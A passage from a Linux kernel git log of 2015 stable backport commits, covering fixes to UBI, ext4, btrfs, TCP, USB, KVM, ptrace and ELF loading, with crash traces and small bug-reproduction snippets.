PEB for erasure, and its LEB number doesn't really matter (it just gets printed in debug messages). But let's get it straight anyway. Coverity CID #113449 Signed-off-by: Brian Norris Signed-off-by: Richard Weinberger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 50679c48f34e40a0950683547b08357b776d9469 Author: Brian Norris Date: Sat Feb 28 02:23:26 2015 -0800 UBI: fix out of bounds write commit d74adbdb9abf0d2506a6c4afa534d894f28b763f upstream. If aeb->len >= vol->reserved_pebs, we should not be writing aeb into the PEB->LEB mapping. Caught by Coverity, CID #711212. Signed-off-by: Brian Norris Signed-off-by: Richard Weinberger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 99079feb19fc046f46b4d77b37d8a2c7c071cca2 Author: Brian Norris Date: Sat Feb 28 02:23:25 2015 -0800 UBI: account for bitflips in both the VID header and data commit 8eef7d70f7c6772c3490f410ee2bceab3b543fa1 upstream. We are completely discarding the earlier value of 'bitflips', which could reflect a bitflip found in ubi_io_read_vid_hdr(). Let's use the bitwise OR of header and data 'bitflip' statuses instead. Coverity CID #1226856 Signed-off-by: Brian Norris Signed-off-by: Richard Weinberger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit cf604c7c07cc10a3d976153956b52680d0b5e74d Author: Thomas D Date: Mon Jan 5 21:37:23 2015 +0100 tools/power turbostat: Use $(CURDIR) instead of $(PWD) and add support for O= option in Makefile commit f82263c6989c31ae9b94cecddffb29dcbec38710 upstream. Since commit ee0778a30153 ("tools/power: turbostat: make Makefile a bit more capable") turbostat's Makefile is using [...] BUILD_OUTPUT := $(PWD) [...] which obviously causes trouble when building "turbostat" with make -C /usr/src/linux/tools/power/x86/turbostat ARCH=x86 turbostat because GNU make does not update nor guarantee that $PWD is set. This patch changes the Makefile to use $CURDIR instead, which GNU make guarantees to set and update (i.e. when using "make -C ...") and also adds support for the O= option (see "make help" in your root of your kernel source tree for more details). Link: https://bugs.gentoo.org/show_bug.cgi?id=533918 Fixes: ee0778a30153 ("tools/power: turbostat: make Makefile a bit more capable") Signed-off-by: Thomas D. Cc: Mark Asselstine Signed-off-by: Len Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 18595460478b9bc26c73c76d9d71e8e75e0a3dd0 Author: Anton Blanchard Date: Tue Apr 14 07:51:03 2015 +1000 powerpc/perf: Cap 64bit userspace backtraces to PERF_MAX_STACK_DEPTH commit 9a5cbce421a283e6aea3c4007f141735bf9da8c3 upstream. We cap 32bit userspace backtraces to PERF_MAX_STACK_DEPTH (currently 127), but we forgot to do the same for 64bit backtraces. Signed-off-by: Anton Blanchard Signed-off-by: Michael Ellerman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 443c33cc597293c4cf9db663c4f470418b9616dd Author: Lukas Czerner Date: Fri Apr 3 10:46:58 2015 -0400 ext4: make fsync to sync parent dir in no-journal for real this time commit e12fb97222fc41e8442896934f76d39ef99b590a upstream. Previously commit 14ece1028b3ed53ffec1b1213ffc6acaf79ad77c added a support for for syncing parent directory of newly created inodes to make sure that the inode is not lost after a power failure in no-journal mode. However this does not work in majority of cases, namely: - if the directory has inline data - if the directory is already indexed - if the directory already has at least one block and: - the new entry fits into it - or we've successfully converted it to indexed So in those cases we might lose the inode entirely even after fsync in the no-journal mode. This also includes ext2 default mode obviously. I've noticed this while running xfstest generic/321 and even though the test should fail (we need to run fsck after a crash in no-journal mode) I could not find a newly created entries even when if it was fsynced before. Fix this by adjusting the ext4_add_entry() successful exit paths to set the inode EXT4_STATE_NEWENTRY so that fsync has the chance to fsync the parent directory as well. Signed-off-by: Lukas Czerner Signed-off-by: Theodore Ts'o Reviewed-by: Jan Kara Cc: Frank Mayhar Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 63b3ed3a903d5457bc8f51b53dc2f06ae7dcc2c3 Author: Mark Brown Date: Tue Dec 17 23:37:01 2013 +0000 video: vgacon: Don't build on arm64 commit ee23794b86689e655cedd616e98c03bc3c74f5ec upstream. arm64 is unlikely to have a VGA console and does not export screen_info causing build failures if the driver is build, for example in all*config. Add a dependency on !ARM64 to prevent this. This list is getting quite long, it may be easier to depend on a symbol which architectures that do support the driver can select. Signed-off-by: Mark Brown [tomi.valkeinen@ti.com: moved && to first modified line] Signed-off-by: Tomi Valkeinen Cc: Guenter Roeck Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit df77b210f74c640c439ccea712c29de0b3afe503 Author: Geert Uytterhoeven Date: Fri May 17 11:04:44 2013 +0200 console: Disable VGA text console support on cris commit 3535629264e69ddbec0bd44b6f9a119947fbe4e2 upstream. Signed-off-by: Geert Uytterhoeven Cc: Guenter Roeck Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 48ee87b862b337548511972c940ba704b10f74b4 Author: Chen Gang Date: Fri Aug 30 12:09:57 2013 +0800 drivers: parport: Kconfig: exclude h8300 for PARPORT_PC commit d94bb2d756e525a7c67fa71762227533d48b03c9 upstream. h8300 does not support PARPORT_PC. The related error (with allmodconfig for h8300): CC [M] drivers/parport/parport_pc.o drivers/parport/parport_pc.c:67:25: fatal error: asm/parport.h: No such file or directory Signed-off-by: Chen Gang Cc: Guenter Roeck Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f4c25381ecb572102cbb54db9c3606e35d07aa66 Author: Geert Uytterhoeven Date: Wed May 15 22:51:15 2013 +0200 parport: disable PC-style parallel port support on cris commit cb1ff5f90e1550d5752521205506b99f1aa8b1e0 upstream. Signed-off-by: Geert Uytterhoeven Cc: Guenter Roeck Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7bf0f2b9a88ffe79b8b955953f8df15d9e6d6092 Author: Marek Vasut Date: Thu Mar 26 02:16:06 2015 +0100 rtlwifi: rtl8192cu: Add new device ID commit 9374e7d2fdcad3c36dafc8d3effd554bc702c4b6 upstream. Add new ID for ASUS N10 WiFi dongle. Signed-off-by: Marek Vasut Tested-by: Marek Vasut Cc: Larry Finger Cc: John W. Linville Acked-by: Larry Finger Signed-off-by: Kalle Valo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit dde8a304a16b8fb124c7014582543e11c416bb8f Author: Larry Finger Date: Mon Mar 23 18:14:10 2015 -0500 rtlwifi: rtl8192cu: Add new USB ID commit 2f92b314f4daff2117847ac5343c54d3d041bf78 upstream. USB ID 2001:330d is used for a D-Link DWA-131. Signed-off-by: Larry Finger Signed-off-by: Kalle Valo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e962b9298fd67b0c8c99870363f5121906b851a4 Author: Oleg Nesterov Date: Thu Apr 16 12:47:29 2015 -0700 ptrace: fix race between ptrace_resume() and wait_task_stopped() commit b72c186999e689cb0b055ab1c7b3cd8fffbeb5ed upstream. ptrace_resume() is called when the tracee is still __TASK_TRACED. We set tracee->exit_code and then wake_up_state() changes tracee->state. If the tracer's sub-thread does wait() in between, task_stopped_code(ptrace => T) wrongly looks like another report from tracee. This confuses debugger, and since wait_task_stopped() clears ->exit_code the tracee can miss a signal. Test-case: #include #include #include #include #include #include int pid; void *waiter(void *arg) { int stat; for (;;) { assert(pid == wait(&stat)); assert(WIFSTOPPED(stat)); if (WSTOPSIG(stat) == SIGHUP) continue; assert(WSTOPSIG(stat) == SIGCONT); printf("ERR! extra/wrong report:%x\n", stat); } } int main(void) { pthread_t thread; pid = fork(); if (!pid) { assert(ptrace(PTRACE_TRACEME, 0,0,0) == 0); for (;;) kill(getpid(), SIGHUP); } assert(pthread_create(&thread, NULL, waiter, NULL) == 0); for (;;) ptrace(PTRACE_CONT, pid, 0, SIGCONT); return 0; } Note for stable: the bug is very old, but without 9899d11f6544 "ptrace: ensure arch_ptrace/ptrace_request can never race with SIGKILL" the fix should use lock_task_sighand(child). Signed-off-by: Oleg Nesterov Reported-by: Pavel Labath Tested-by: Pavel Labath Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 738f7f6d4ab146f90c303c8848fe48e2d7f0eb14 Author: Michael Davidson Date: Tue Apr 14 15:47:38 2015 -0700 fs/binfmt_elf.c: fix bug in loading of PIE binaries commit a87938b2e246b81b4fb713edb371a9fa3c5c3c86 upstream. With CONFIG_ARCH_BINFMT_ELF_RANDOMIZE_PIE enabled, and a normal top-down address allocation strategy, load_elf_binary() will attempt to map a PIE binary into an address range immediately below mm->mmap_base. Unfortunately, load_elf_ binary() does not take account of the need to allocate sufficient space for the entire binary which means that, while the first PT_LOAD segment is mapped below mm->mmap_base, the subsequent PT_LOAD segment(s) end up being mapped above mm->mmap_base into the are that is supposed to be the "gap" between the stack and the binary. Since the size of the "gap" on x86_64 is only guaranteed to be 128MB this means that binaries with large data segments > 128MB can end up mapping part of their data segment over their stack resulting in corruption of the stack (and the data segment once the binary starts to run). Any PIE binary with a data segment > 128MB is vulnerable to this although address randomization means that the actual gap between the stack and the end of the binary is normally greater than 128MB. The larger the data segment of the binary the higher the probability of failure. Fix this by calculating the total size of the binary in the same way as load_elf_interp(). Signed-off-by: Michael Davidson Cc: Alexander Viro Cc: Jiri Kosina Cc: Kees Cook Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6e2da5819603202d2f2453f019d990fe6e27d2bd Author: Ulrik De Bie Date: Mon Apr 6 15:35:38 2015 -0700 Input: elantech - fix absolute mode setting on some ASUS laptops commit bd884149aca61de269fd9bad83fe2a4232ffab21 upstream. On ASUS TP500LN and X750JN, the touchpad absolute mode is reset each time set_rate is done. In order to fix this, we will verify the firmware version, and if it matches the one in those laptops, the set_rate function is overloaded with a function elantech_set_rate_restore_reg_07 that performs the set_rate with the original function, followed by a restore of reg_07 (the register that sets the absolute mode on elantech v4 hardware). Also the ASUS TP500LN and X750JN firmware version, capabilities, and button constellation is added to elantech.c Reported-and-tested-by: George Moutsopoulos Signed-off-by: Ulrik De Bie Signed-off-by: Dmitry Torokhov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 65e795e02d449da96bba900586134bd3c0cff239 Author: Michael Gernoth Date: Thu Apr 9 23:42:15 2015 +0200 ALSA: emu10k1: don't deadlock in proc-functions commit 91bf0c2dcb935a87e5c0795f5047456b965fd143 upstream. The functions snd_emu10k1_proc_spdif_read and snd_emu1010_fpga_read acquire the emu_lock before accessing the FPGA. The function used to access the FPGA (snd_emu1010_fpga_read) also tries to take the emu_lock which causes a deadlock. Remove the outer locking in the proc-functions (guarding only the already safe fpga read) to prevent this deadlock. [removed superfluous flags variables too -- tiwai] Signed-off-by: Michael Gernoth Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 17b835c9cbece62bf6c4a7e458d803265c83b968 Author: Felipe Balbi Date: Fri Feb 13 15:38:33 2015 -0600 usb: core: hub: use new USB_RESUME_TIMEOUT commit bbc78c07a51f6fd29c227b1220a9016e585358ba upstream. Make sure we're using the new macro, so our resume signaling will always pass certification. Signed-off-by: Felipe Balbi Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7a7589ae1545f57dd823de3887a8494567ce2d8f Author: Felipe Balbi Date: Fri Feb 13 15:00:38 2015 -0600 usb: host: sl811: use new USB_RESUME_TIMEOUT commit 08debfb13b199716da6153940c31968c556b195d upstream. Make sure we're using the new macro, so our resume signaling will always pass certification. Signed-off-by: Felipe Balbi Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit bb0e9bc4b1eb73386182b73f86f4e4579dcb9ac3 Author: Felipe Balbi Date: Fri Feb 13 14:39:13 2015 -0600 usb: host: xhci: use new USB_RESUME_TIMEOUT commit b9e451885deb6262dbaf5cd14aa77d192d9ac759 upstream. Make sure we're using the new macro, so our resume signaling will always pass certification. Acked-by: Mathias Nyman Signed-off-by: Felipe Balbi Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0f022b1071f78f55cb67fea985a4613827d900ad Author: Felipe Balbi Date: Fri Feb 13 14:50:10 2015 -0600 usb: host: isp116x: use new USB_RESUME_TIMEOUT commit 8c0ae6574ccfd3d619876a65829aad74c9d22ba5 upstream. Make sure we're using the new macro, so our resume signaling will always pass certification. Signed-off-by: Felipe Balbi Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f0a4d42b12ba3e6d1adf0b9e2e55f8f52c7312a7 Author: Felipe Balbi Date: Fri Feb 13 14:58:53 2015 -0600 usb: host: r8a66597: use new USB_RESUME_TIMEOUT commit 7a606ac29752a3e571b83f9b3fceb1eaa1d37781 upstream. While this driver was already using a 50ms resume timeout, let's make sure everybody uses the same macro so it's easy to fix later should anything go wrong. It also gives a more "stable" expectation to Linux users. Signed-off-by: Felipe Balbi Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 83478eb9539f761eb993fc23823f1f49ea0308c0 Author: Felipe Balbi Date: Fri Feb 13 14:34:25 2015 -0600 usb: define a generic USB_RESUME_TIMEOUT macro commit 62f0342de1f012f3e90607d39e20fce811391169 upstream. Every USB Host controller should use this new macro to define for how long resume signalling should be driven on the bus. Currently, almost every single USB controller is using a 20ms timeout for resume signalling. That's problematic for two reasons: a) sometimes that 20ms timer expires a little before 20ms, which makes us fail certification b) some (many) devices actually need more than 20ms resume signalling. Sure, in case of (b) we can state that the device is against the USB spec, but the fact is that we have no control over which device the certification lab will use. We also have no control over which host they will use. Most likely they'll be using a Windows PC which, again, we have no control over how that USB stack is written and how long resume signalling they are using. At the end of the day, we must make sure Linux passes electrical compliance when working as Host or as Device and currently we don't pass compliance as host because we're driving resume signallig for exactly 20ms and that confuses certification test setup resulting in Certification failure. Acked-by: Greg Kroah-Hartman Acked-by: Peter Chen Signed-off-by: Felipe Balbi Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 697883127c9e89ac243b1fc0f5f959176cb65850 Author: Axel Lin Date: Thu Mar 12 09:15:28 2015 +0800 usb: phy: Find the right match in devm_usb_phy_match commit 869aee0f31429fa9d94d5aef539602b73ae0cf4b upstream. The res parameter passed to devm_usb_phy_match() is the location where the pointer to the usb_phy is stored, hence it needs to be dereferenced before comparing to the match data in order to find the correct match. Fixes: 410219dcd2ba ("usb: otg: utils: devres: Add API's to associate a device with the phy") Signed-off-by: Axel Lin Signed-off-by: Felipe Balbi Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d91564e68a796e085d26ebed675fa869e4f08f4a Author: Charles Keepax Date: Fri Mar 27 01:58:08 2015 +0900 ARM: S3C64XX: Use fixed IRQ bases to avoid conflicts on Cragganmore commit 4e330ae4ab2915444f1e6dca1358a910aa259362 upstream. There are two PMICs on Cragganmore, currently one dynamically assign its IRQ base and the other uses a fixed base. It is possible for the statically assigned PMIC to fail if its IRQ is taken by the dynamically assigned one. Fix this by statically assigning both the IRQ bases. Signed-off-by: Charles Keepax Signed-off-by: Kukjin Kim Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f326be8dbfa9a23c3d71804cccc65a8de841da99 Author: Andrey Ryabinin Date: Fri Mar 20 15:42:27 2015 +0100 ARM: 8320/1: fix integer overflow in ELF_ET_DYN_BASE commit 8defb3367fcd19d1af64c07792aade0747b54e0f upstream. Usually ELF_ET_DYN_BASE is 2/3 of TASK_SIZE. With 3G/1G user/kernel split this is not so, because 2*TASK_SIZE overflows 32 bits, so the actual value of ELF_ET_DYN_BASE is: (2 * TASK_SIZE / 3) = 0x2a000000 When ASLR is disabled PIE binaries will load at ELF_ET_DYN_BASE address. On 32bit platforms AddressSanitzer uses addresses [0x20000000 - 0x40000000] for shadow memory [1]. So ASan doesn't work for PIE binaries when ASLR disabled as it fails to map shadow memory. Also after Kees's 'split ET_DYN ASLR from mmap ASLR' patchset PIE binaries has a high chance of loading somewhere in between [0x2a000000 - 0x40000000] even if ASLR enabled. This makes ASan with PIE absolutely incompatible. Fix overflow by dividing TASK_SIZE prior to multiplying. After this patch ELF_ET_DYN_BASE equals to (for CONFIG_VMSPLIT_3G=y): (TASK_SIZE / 3 * 2) = 0x7f555554 [1] https://code.google.com/p/address-sanitizer/wiki/AddressSanitizerAlgorithm#Mapping Signed-off-by: Andrey Ryabinin Reported-by: Maria Guseva Signed-off-by: Russell King Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 21ed5cd2df4af251fafc51962abedc53a6c09a40 Author: Krzysztof Kozlowski Date: Fri Feb 20 14:32:25 2015 +0100 power_supply: lp8788-charger: Fix leaked power supply on probe fail commit a7117f81e8391e035c49b3440792f7e6cea28173 upstream. Driver forgot to unregister charger power supply if registering of battery supply failed in probe(). In such case the memory associated with power supply leaked. Signed-off-by: Krzysztof Kozlowski Fixes: 98a276649358 ("power_supply: Add new lp8788 charger driver") Signed-off-by: Sebastian Reichel Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3b5ffddf7d35c7804c37669b9c500153c1c8d740 Author: Steven Rostedt Date: Tue Mar 17 10:40:38 2015 -0400 ring-buffer: Replace this_cpu_*() with __this_cpu_*() commit 80a9b64e2c156b6523e7a01f2ba6e5d86e722814 upstream. It has come to my attention that this_cpu_read/write are horrible on architectures other than x86. Worse yet, they actually disable preemption or interrupts! This caused some unexpected tracing results on ARM. 101.356868: preempt_count_add <-ring_buffer_lock_reserve 101.356870: preempt_count_sub <-ring_buffer_lock_reserve The ring_buffer_lock_reserve has recursion protection that requires accessing a per cpu variable. But since preempt_disable() is traced, it too got traced while accessing the variable that is suppose to prevent recursion like this. The generic version of this_cpu_read() and write() are: #define this_cpu_generic_read(pcp) \ ({ typeof(pcp) ret__; \ preempt_disable(); \ ret__ = *this_cpu_ptr(&(pcp)); \ preempt_enable(); \ ret__; \ }) #define this_cpu_generic_to_op(pcp, val, op) \ do { \ unsigned long flags; \ raw_local_irq_save(flags); \ *__this_cpu_ptr(&(pcp)) op val; \ raw_local_irq_restore(flags); \ } while (0) Which is unacceptable for locations that know they are within preempt disabled or interrupt disabled locations. Paul McKenney stated that __this_cpu_() versions produce much better code on other architectures than this_cpu_() does, if we know that the call is done in a preempt disabled location. I also changed the recursive_unlock() to use two local variables instead of accessing the per_cpu variable twice. Link: http://lkml.kernel.org/r/20150317114411.GE3589@linux.vnet.ibm.com Link: http://lkml.kernel.org/r/20150317104038.312e73d1@gandalf.local.home Acked-by: Christoph Lameter Reported-by: Uwe Kleine-Koenig Tested-by: Uwe Kleine-Koenig Signed-off-by: Steven Rostedt Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ce232005080b05a07fa47ee5410d30e835516626 Author: Oliver Neukum Date: Fri Mar 20 14:29:34 2015 +0100 cdc-wdm: fix endianness bug in debug statements commit 323ece54e0761198946ecd0c2091f1d2bfdfcb64 upstream. Values directly from descriptors given in debug statements must be converted to native endianness. Signed-off-by: Oliver Neukum Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 10495c07df8ec67eb0b95b5e0d9897172c5a9ef0 Author: Huacai Chen Date: Sun Mar 29 10:54:05 2015 +0800 MIPS: Hibernate: flush TLB entries earlier commit a843d00d038b11267279e3b5388222320f9ddc1d upstream. We found that TLB mismatch not only happens after kernel resume, but also happens during snapshot restore. So move it to the beginning of swsusp_arch_suspend(). Signed-off-by: Huacai Chen Cc: Steven J. Hill Cc: linux-mips@linux-mips.org Cc: Fuxin Zhang Cc: Zhangjin Wu Patchwork: https://patchwork.linux-mips.org/patch/9621/ Signed-off-by: Ralf Baechle Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit cfb10b19ba2742d7637aee4c42e1d9de935acbbb Author: Radim KrÄmář Date: Wed Apr 8 14:16:48 2015 +0200 KVM: use slowpath for cross page cached accesses commit ca3f0874723fad81d0c701b63ae3a17a408d5f25 upstream. kvm_write_guest_cached() does not mark all written pages as dirty and code comments in kvm_gfn_to_hva_cache_init() talk about NULL memslot with cross page accesses. Fix all the easy way. The check is '<= 1' to have the same result for 'len = 0' cache anywhere in the page. (nr_pages_needed is 0 on page boundary.) Fixes: 8f964525a121 ("KVM: Allow cross page reads and writes from cached translations.") Signed-off-by: Radim KrÄmář Message-Id: <20150408121648.GA3519@potion.brq.redhat.com> Reviewed-by: Wanpeng Li Signed-off-by: Paolo Bonzini Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 522a51eaf8c04c8e6ee3278240eb327c15949427 Author: Heiko Carstens Date: Wed Mar 25 10:13:33 2015 +0100 s390/hibernate: fix save and restore of kernel text section commit d74419495633493c9cd3f2bbeb7f3529d0edded6 upstream. Sebastian reported a crash caused by a jump label mismatch after resume. This happens because we do not save the kernel text section during suspend and therefore also do not restore it during resume, but use the kernel image that restores the old system. This means that after a suspend/resume cycle we lost all modifications done to the kernel text section. The reason for this is the pfn_is_nosave() function, which incorrectly returns that read-only pages don't need to be saved. This is incorrect since we mark the kernel text section read-only. We still need to make sure to not save and restore pages contained within NSS and DCSS segment. To fix this add an extra case for the kernel text section and only save those pages if they are not contained within an NSS segment. Fixes the following crash (and the above bugs as well): Jump label code mismatch at netif_receive_skb_internal+0x28/0xd0 Found: c0 04 00 00 00 00 Expected: c0 f4 00 00 00 11 New: c0 04 00 00 00 00 Kernel panic - not syncing: Corrupted kernel text CPU: 0 PID: 9 Comm: migration/0 Not tainted 3.19.0-01975-gb1b096e70f23 #4 Call Trace: [<0000000000113972>] show_stack+0x72/0xf0 [<000000000081f15e>] dump_stack+0x6e/0x90 [<000000000081c4e8>] panic+0x108/0x2b0 [<000000000081be64>] jump_label_bug.isra.2+0x104/0x108 [<0000000000112176>] __jump_label_transform+0x9e/0xd0 [<00000000001121e6>] __sm_arch_jump_label_transform+0x3e/0x50 [<00000000001d1136>] multi_cpu_stop+0x12e/0x170 [<00000000001d1472>] cpu_stopper_thread+0xb2/0x168 [<000000000015d2ac>] smpboot_thread_fn+0x134/0x1b0 [<0000000000158baa>] kthread+0x10a/0x110 [<0000000000824a86>] kernel_thread_starter+0x6/0xc Reported-and-tested-by: Sebastian Ott Signed-off-by: Heiko Carstens Signed-off-by: Martin Schwidefsky Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 94a202b85a06378c31314f8dd598c8a2d95f97ef Author: Ekaterina Tumanova Date: Tue Mar 3 09:54:41 2015 +0100 KVM: s390: Zero out current VMDB of STSI before including level3 data. commit b75f4c9afac2604feb971441116c07a24ecca1ec upstream. s390 documentation requires words 0 and 10-15 to be reserved and stored as zeros. As we fill out all other fields, we can memset the full structure. Signed-off-by: Ekaterina Tumanova Reviewed-by: David Hildenbrand Signed-off-by: Christian Borntraeger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f17df2936eb5d91781e307ce07b61ebe1d4816a2 Author: Felipe Balbi Date: Tue Sep 30 16:08:03 2014 -0500 usb: gadget: composite: enable BESL support commit a6615937bcd9234e6d6bb817c3701fce44d0a84d upstream. According to USB 2.0 ECN Errata for Link Power Management (USB2-LPM-Errata-final.pdf), BESL must be enabled if LPM is enabled. This helps with USB30CV TD 9.21 LPM L1 Suspend Resume Test. Signed-off-by: Felipe Balbi Signed-off-by: Du, Changbin Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3003af39429106024ce46328bad907a543bdc6e2 Author: Filipe Manana Date: Mon Mar 30 18:23:59 2015 +0100 Btrfs: fix inode eviction infinite loop after cloning into it commit ccccf3d67294714af2d72a6fd6fd7d73b01c9329 upstream. If we attempt to clone a 0 length region into a file we can end up inserting a range in the inode's extent_io tree with a start offset that is greater then the end offset, which triggers immediately the following warning: [ 3914.619057] WARNING: CPU: 17 PID: 4199 at fs/btrfs/extent_io.c:435 insert_state+0x4b/0x10b [btrfs]() [ 3914.620886] BTRFS: end < start 4095 4096 (...) [ 3914.638093] Call Trace: [ 3914.638636] [] dump_stack+0x4c/0x65 [ 3914.639620] [] warn_slowpath_common+0xa1/0xbb [ 3914.640789] [] ? insert_state+0x4b/0x10b [btrfs] [ 3914.642041] [] warn_slowpath_fmt+0x46/0x48 [ 3914.643236] [] insert_state+0x4b/0x10b [btrfs] [ 3914.644441] [] __set_extent_bit+0x107/0x3f4 [btrfs] [ 3914.645711] [] lock_extent_bits+0x65/0x1bf [btrfs] [ 3914.646914] [] ? _raw_spin_unlock+0x28/0x33 [ 3914.648058] [] ? test_range_bit+0xcc/0xde [btrfs] [ 3914.650105] [] lock_extent+0x13/0x15 [btrfs] [ 3914.651361] [] lock_extent_range+0x3d/0xcd [btrfs] [ 3914.652761] [] btrfs_ioctl_clone+0x278/0x388 [btrfs] [ 3914.654128] [] ? might_fault+0x58/0xb5 [ 3914.655320] [] btrfs_ioctl+0xb51/0x2195 [btrfs] (...) [ 3914.669271] ---[ end trace 14843d3e2e622fc1 ]--- This later makes the inode eviction handler enter an infinite loop that keeps dumping the following warning over and over: [ 3915.117629] WARNING: CPU: 22 PID: 4228 at fs/btrfs/extent_io.c:435 insert_state+0x4b/0x10b [btrfs]() [ 3915.119913] BTRFS: end < start 4095 4096 (...) [ 3915.137394] Call Trace: [ 3915.137913] [] dump_stack+0x4c/0x65 [ 3915.139154] [] warn_slowpath_common+0xa1/0xbb [ 3915.140316] [] ? insert_state+0x4b/0x10b [btrfs] [ 3915.141505] [] warn_slowpath_fmt+0x46/0x48 [ 3915.142709] [] insert_state+0x4b/0x10b [btrfs] [ 3915.143849] [] __set_extent_bit+0x107/0x3f4 [btrfs] [ 3915.145120] [] ? btrfs_kill_super+0x17/0x23 [btrfs] [ 3915.146352] [] ? deactivate_locked_super+0x3b/0x50 [ 3915.147565] [] lock_extent_bits+0x65/0x1bf [btrfs] [ 3915.148785] [] ? _raw_write_unlock+0x28/0x33 [ 3915.149931] [] btrfs_evict_inode+0x196/0x482 [btrfs] [ 3915.151154] [] evict+0xa0/0x148 [ 3915.152094] [] dispose_list+0x39/0x43 [ 3915.153081] [] evict_inodes+0xdc/0xeb [ 3915.154062] [] generic_shutdown_super+0x49/0xef [ 3915.155193] [] kill_anon_super+0x13/0x1e [ 3915.156274] [] btrfs_kill_super+0x17/0x23 [btrfs] (...) [ 3915.167404] ---[ end trace 14843d3e2e622fc2 ]--- So just bail out of the clone ioctl if the length of the region to clone is zero, without locking any extent range, in order to prevent this issue (same behaviour as a pwrite with a 0 length for example). This is trivial to reproduce. For example, the steps for the test I just made for fstests: mkfs.btrfs -f SCRATCH_DEV mount SCRATCH_DEV $SCRATCH_MNT touch $SCRATCH_MNT/foo touch $SCRATCH_MNT/bar $CLONER_PROG -s 0 -d 4096 -l 0 $SCRATCH_MNT/foo $SCRATCH_MNT/bar umount $SCRATCH_MNT A test case for fstests follows soon. Signed-off-by: Filipe Manana Reviewed-by: Omar Sandoval Signed-off-by: Chris Mason Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9cbf6cdae5130ea7d4b5455eef446493aa000b0d Author: Filipe Manana Date: Mon Mar 23 14:07:40 2015 +0000 Btrfs: fix log tree corruption when fs mounted with -o discard commit dcc82f4783ad91d4ab654f89f37ae9291cdc846a upstream. While committing a transaction we free the log roots before we write the new super block. Freeing the log roots implies marking the disk location of every node/leaf (metadata extent) as pinned before the new super block is written. This is to prevent the disk location of log metadata extents from being reused before the new super block is written, otherwise we would have a corrupted log tree if before the new super block is written a crash/reboot happens and the location of any log tree metadata extent ended up being reused and rewritten. Even though we pinned the log tree's metadata extents, we were issuing a discard against them if the fs was mounted with the -o discard option, resulting in corruption of the log tree if a crash/reboot happened before writing the new super block - the next time the fs was mounted, during the log replay process we would find nodes/leafs of the log btree with a content full of zeroes, causing the process to fail and require the use of the tool btrfs-zero-log to wipeout the log tree (and all data previously fsynced becoming lost forever). Fix this by not doing a discard when pinning an extent. The discard will be done later when it's safe (after the new super block is committed) at extent-tree.c:btrfs_finish_extent_commit(). Fixes: e688b7252f78 (Btrfs: fix extent pinning bugs in the tree log) Signed-off-by: Filipe Manana Signed-off-by: Chris Mason Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ca05cceff4f1d1de33e84dd17907787192474ab2 Author: Eric Dumazet Date: Thu Apr 23 10:42:39 2015 -0700 tcp: avoid looping in tcp_send_fin() [ Upstream commit 845704a535e9b3c76448f52af1b70e4422ea03fd ] Presence of an unbound loop in tcp_send_fin() had always been hard to explain when analyzing crash dumps involving gigantic dying processes with millions of sockets. Lets try a different strategy : In case of memory pressure, try to add the FIN flag to last packet in write queue, even if packet was already sent. TCP stack will be able to deliver this FIN after a timeout event. Note that this FIN being delivered by a retransmit, it also carries a Push flag given our current implementation. By checking sk_under_memory_pressure(), we anticipate that cooking many FIN packets might deplete tcp memory. In the case we could not allocate a packet, even with __GFP_WAIT allocation, then not sending a FIN seems quite reasonable if it allows to get rid of this socket, free memory, and not block the process from eventually doing other useful work. Signed-off-by: Eric Dumazet Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b45c95cf6573fcedad5897f5bc5c973e61913cf9 Author: Eric Dumazet Date: Tue Apr 21 18:32:24 2015 -0700 tcp: fix possible deadlock in tcp_send_fin() [ Upstream commit d83769a580f1132ac26439f50068a29b02be535e ] Using sk_stream_alloc_skb() in tcp_send_fin() is dangerous in case a huge process is killed by OOM, and tcp_mem[2] is hit. To be able to free memory we need to make progress, so this patch allows FIN packets to not care about tcp_mem[2], if skb allocation succeeded. In a follow-up patch, we might abort tcp_send_fin() infinite loop in case TIF_MEMDIE is set 